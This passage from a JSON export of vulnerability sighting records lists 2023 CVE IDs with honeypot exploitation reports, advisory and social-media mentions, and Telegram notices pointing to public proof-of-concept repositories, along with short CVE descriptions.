"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-29)", "content": "", "creation_timestamp": "2025-09-29T00:00:00.000000Z"}, {"uuid": "4e729874-aa6d-477f-9af3-a26412cbad84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31038", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3m2h6rbd2hs2d", "content": "", "creation_timestamp": "2025-10-05T13:19:21.752329Z"}, {"uuid": "15f26570-76b8-4ce2-a7cd-111154149674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31742", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "adf4484c-bb62-4b40-a78b-ff4a2cd0deb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "f7b38fe9-41e5-4bcb-bf21-220c732d8796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "45bef7e7-f813-4098-b023-504dd0e4305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "7931ac57-7e9c-4749-a517-60ea615cbef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3169", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2023/CVE-2023-3169.yaml", "content": "", "creation_timestamp": "2025-09-23T20:09:27.000000Z"}, {"uuid": "a447fcd6-a00e-47a5-b057-dc01a47927f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3139", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lyy7rtzk5b25", "content": "", "creation_timestamp": "2025-09-16T21:02:28.852940Z"}, {"uuid": "111d6972-1d23-47d8-a7ea-4d8e24a51cd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31044", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6lcqyppz2d", "content": "", "creation_timestamp": "2026-03-03T20:12:10.137205Z"}, {"uuid": "e40553bc-1416-418b-9df2-b2cc71a0bfc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31364", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116126691392778847", "content": "", "creation_timestamp": "2026-02-24T17:04:49.121805Z"}, {"uuid": "5b4549e2-8b03-45b5-a4e0-eaa31854eb84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3112", "type": "seen", "source": "https://gist.github.com/MagnaCapax/9fa58750f7e553200ebd213aa146a410", "content": "", "creation_timestamp": "2026-01-30T08:00:05.000000Z"}, {"uuid": "830cb7f1-d0a4-42fe-8cd4-9f3caa998d51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3197", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2023/CVE-2023-3197.yaml", "content": "", "creation_timestamp": "2026-02-06T14:56:54.000000Z"}, {"uuid": "f19d18ee-0e00-490f-b3fd-527efed62e0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-30)", "content": "", "creation_timestamp": "2026-01-30T00:00:00.000000Z"}, {"uuid": "4309a684-a565-438a-830f-dc7f633cc8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31364", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsbrobzjc2y", "content": "", "creation_timestamp": "2026-02-26T22:49:35.977837Z"}, {"uuid": "eaa30c58-a9d0-4640-a271-49080913127f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-06)", "content": "", "creation_timestamp": "2026-01-06T00:00:00.000000Z"}, {"uuid": "1c6c2523-4780-4710-a9e5-7723a020266a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-3140", "type": "seen", "source": "https://www.knime.com/security/advisories#CVE-2026-4649", "content": "", "creation_timestamp": "2026-03-25T03:00:10.000000Z"}, {"uuid": "eca216f9-7bae-4e06-954c-ad96bc33d647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-31347", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "48bd54c1-5725-4e38-86ce-3bc55a38f9d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-31346", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "77271209-e730-470a-9442-1265c3b2483d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-31082", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "dfd85ec7-a5b3-4fcd-a18c-30ca754f29d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115889109162271840", "content": "", "creation_timestamp": "2026-01-13T18:04:32.115703Z"}, {"uuid": "7758e0dd-0db9-48ac-8e70-539d6606c17d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "19a95d65-c512-458c-8ee3-2a3ac1ec23c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-01-13T18:16:30.000000Z"}, {"uuid": "e3c196db-d435-4598-8251-85c784e0f3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mcg6j3yi3k26", "content": "", "creation_timestamp": "2026-01-14T23:03:39.227754Z"}, {"uuid": "65fcc237-8bb8-4baa-b8e8-7b5bce2c52a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://bsky.app/profile/michael-speller.bsky.social/post/3mcha7hiuhs2u", "content": "", "creation_timestamp": "2026-01-15T09:06:42.179353Z"}, {"uuid": "17ec1e16-359b-4496-a8c8-619d2fdce629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-24)", "content": "", "creation_timestamp": "2026-03-24T00:00:00.000000Z"}, {"uuid": "39a0fd68-665f-449f-ba6a-cc7393b99385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "cve-2023-31315", "type": "seen", "source": "https://vulnerability.circl.lu/comment/97b65c3a-146f-4c97-9b47-6dd15cb179ad", "content": "", "creation_timestamp": "2024-08-22T07:48:09.609279Z"}, {"uuid": "a0c1a66c-a6cf-4150-9f70-9de6830cf709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mciotd6k5s2f", "content": "", "creation_timestamp": "2026-01-15T23:01:03.857238Z"}, {"uuid": "2d1574bb-4ba8-4907-a9d1-1dfa8d5be39e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://krebsonsecurity.com/2026/01/patch-tuesday-january-2026-edition/", "content": "", "creation_timestamp": "2026-01-13T23:47:38.000000Z"}, {"uuid": "7c591db5-8c91-4282-bf1f-0daa6385181b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-25)", "content": "", "creation_timestamp": "2026-01-25T00:00:00.000000Z"}, {"uuid": "1f3e9d9b-1cbd-4dfe-b626-64d12f216a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-10)", "content": "", "creation_timestamp": "2026-04-10T00:00:00.000000Z"}, {"uuid": "5085865d-d879-4330-bb56-4233aae85798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31096", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "e9b57303-d22c-4c08-bc8d-d04ffe8aa9ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31998", "type": "published-proof-of-concept", "source": "https://t.me/cKure/11254", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Zero-Day: A Proof-of-Concept (PoC) exploit for the CVE-2023-31998 vulnerability in the Ubiquiti EdgeRouter has been publicly released.\n\nhttps://securityaffairs.com/148334/hacking/ubiquiti-edgerouter-flaw.html", "creation_timestamp": "2023-07-10T19:14:00.000000Z"}, {"uuid": "d0292b2e-f44d-49f3-8279-a7c36a305179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31036", "type": "published-proof-of-concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/triton_inference_server_model_overwrite", "content": "", "creation_timestamp": "2024-05-17T14:18:43.000000Z"}, {"uuid": "14de8d61-bd2c-4148-af81-1ff37dbdfb18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-21)", "content": "", "creation_timestamp": "2026-04-21T00:00:00.000000Z"}, {"uuid": "d017b094-9405-4124-bbd6-742a82aaf975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-22)", "content": "", "creation_timestamp": "2026-04-22T00:00:00.000000Z"}, {"uuid": "c8c8b889-b591-4b6b-b9d1-54b25d4ad146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31584", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4370", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aPublic disclosure for CVE-2023-31584.\nURL\uff1ahttps://github.com/rootd4ddy/CVE-2023-31584\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-05-17T20:51:35.000000Z"}, {"uuid": "8532134d-4d87-4558-9e9c-0a5f81d72352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4380", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-31664 WSO2\nURL\uff1ahttps://github.com/adilkhan7/CVE-2023-31664\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-05-19T05:57:43.000000Z"}, {"uuid": "2fc58903-95a7-41b9-8fef-7f05d6827f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3163", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4530", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aA simple and quick way to check if your SQL Developer by Oracle is vulnerable to SQL Injection (CVE-2023-3163), most commonly occurs when SQL Developer version < 23.1.0.\nURL\uff1ahttps://github.com/George0Papasotiriou/CVE-2023-3163-SQL-Injection-Prevention\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-06-10T06:11:37.000000Z"}, {"uuid": "1706217e-56ff-4463-8a23-10e7429f0c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31047", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4427", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1a\u6f0f\u6d1e\u9a8c\u8bc1\n\u63cf\u8ff0\uff1aDjango\u4fee\u590d\u6587\u4ef6\u4e0a\u4f20\u9a8c\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff08CVE-2023-31047\uff09\u4e0d\u5b8c\u5168\uff0c\u540c\u4e00\u63a5\u53e3\u5904\u53ef\u7ed5\u8fc7\u9a8c\u8bc1\u5bfc\u81f4rce\nURL\uff1ahttps://github.com/hheeyywweellccoommee/Django_rce-nwvba\n\n\u6807\u7b7e\uff1a#\u6f0f\u6d1e\u9a8c\u8bc1", "creation_timestamp": "2023-06-23T01:18:56.000000Z"}, {"uuid": "76bbad9a-adae-44a6-96d5-778358686784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31445", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4270", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aRepository contains description for CVE-2023-31445\nURL\uff1ahttps://github.com/Dodge-MPTC/CVE-2023-31445-Unprivileged-Information-Disclosure\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-04-28T07:52:03.000000Z"}, {"uuid": "58224997-9e2b-433c-9914-3e5532a044fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31503", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4340", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-31503 O2OA RCE\nURL\uff1ahttps://github.com/ViCrack/CVE-2023-31503\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-05-13T09:18:49.000000Z"}, {"uuid": "8ee076f9-1bcc-4ce2-ac83-97a91ba3f04d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31497", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4339", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aExploit for elevation of privilege vulnerability in QuickHeal's Seqrite EPS (CVE-2023-31497).\nURL\uff1ahttps://github.com/0xInfection/EPScalate\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-05-13T05:15:56.000000Z"}, {"uuid": "4139588c-e014-432b-b712-913db7d4c3bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31753", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4774", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aProof of Concept for CVE-2023-31753 - eNdonesia Portal 8.7\nURL\uff1ahttps://github.com/khmk2k/CVE-2023-31753\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-07-20T14:16:24.000000Z"}, {"uuid": "10ad5b8f-188f-4d3a-9ba4-ee517c1d2c15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3124", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5088", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-3124 PoC\nURL\uff1ahttps://github.com/AmirWhiteHat/CVE-2023-3124\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-05T12:41:09.000000Z"}, {"uuid": "6bf450dd-7066-49f9-aeee-e7760298ab30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31320", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5799", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1a Proof of concept code for CVE-2023-31320\nURL\uff1ahttps://github.com/whypet/CVE-2023-31320\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-14T21:49:43.000000Z"}, {"uuid": "2ed6b23b-4649-423d-a9da-edfabefce4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31352", "type": "seen", "source": "https://t.me/cvedetector/17780", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31352 - AMD SEV Memory Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31352 \nPublished : Feb. 11, 2025, 11:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : A bug in the SEV firmware may allow an attacker with privileges to read unencrypted memory, potentially resulting in loss of guest private data. \nSeverity: 6.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T01:47:32.000000Z"}, {"uuid": "a6325eb8-9793-4b35-8607-0d759446262d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31343", "type": "seen", "source": "https://t.me/cvedetector/17779", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31343 - AMD Ryzen SMM Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31343 \nPublished : Feb. 11, 2025, 11:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T01:47:31.000000Z"}, {"uuid": "deff46a8-c9d8-464c-b40d-a6693ebcbd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31345", "type": "seen", "source": "https://t.me/cvedetector/17800", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31345 - AMD Ryzen SMM Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31345 \nPublished : Feb. 12, 2025, 12:15 a.m. | 2\u00a0hours, 16\u00a0minutes ago \nDescription : Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T04:19:23.000000Z"}, {"uuid": "05c1ebb4-24d9-4fa6-9542-748ca19580b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31331", "type": "seen", "source": "https://t.me/cvedetector/17791", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31331 - Intel DRTM Privilege Escalation Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31331 \nPublished : Feb. 11, 2025, 10:15 p.m. | 2\u00a0hours, 7\u00a0minutes ago \nDescription : Improper access control in the DRTM firmware could allow a privileged attacker to perform multiple driver initializations, resulting in stack memory corruption that could potentially lead to loss of integrity or availability. \nSeverity: 3.0 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T01:48:44.000000Z"}, {"uuid": "5bdcd4e8-6ad2-4403-af85-988cdb78a8d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31342", "type": "seen", "source": "https://t.me/cvedetector/17778", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-31342 - AMD Ryzen SMM Handler Arbitrary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-31342 \nPublished : Feb. 11, 2025, 11:15 p.m. | 1\u00a0hour, 7\u00a0minutes ago \nDescription : Improper input validation in the SMM handler may allow a privileged attacker to overwrite SMRAM, potentially leading to arbitrary code execution. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-12T01:47:30.000000Z"}, {"uuid": "f319e309-8182-4124-b817-9a55e1b5c735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3140", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/232", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-3140\n\ud83d\udd39 Description: Missing HTTP headers (X-Frame-Options, Content-Security-Policy) in KNIME\n Business Hub before 1.4.0 has left users vulnerable to click \njacking. Clickjacking is an attack that occurs when an attacker uses a \ntransparent iframe in a window to trick a user into clicking on an \nactionable item, such as a button or link, to another server in which \nthey have an identical webpage. The attacker essentially hijacks the \nuser activity intended for the original server and sends them to the \nother server.\n\ud83d\udccf Published: 2023-06-07T09:15:00.112Z\n\ud83d\udccf Modified: 2025-01-06T21:27:10.274Z\n\ud83d\udd17 References:\n1. https://www.knime.com/security/advisories#CVE-2023-3140", "creation_timestamp": "2025-01-06T21:35:36.000000Z"}, {"uuid": "8160d7bd-8007-4d95-9e29-c4839f177355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3152", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/230", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-3152\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in SourceCodester Online Discussion Forum Site 1.0. This affects an unknown part of the file admin\\posts\\view_post.php. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-231021 was assigned to this vulnerability.\n\ud83d\udccf Published: 2023-06-07T18:00:04.528Z\n\ud83d\udccf Modified: 2025-01-06T20:09:47.217Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.231021\n2. https://vuldb.com/?ctiid.231021\n3. https://github.com/Peanut886/Vulnerability/blob/main/webray.com.cn/Online%20Discussion%20Forum%20Site%20-%20multiple%20vulnerabilities.md#5sql-injection-vulnerability-in-adminpostsview_postphp", "creation_timestamp": "2025-01-06T20:50:34.000000Z"}, {"uuid": "a2da7c45-8edf-4853-be43-f8a7595ce63a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 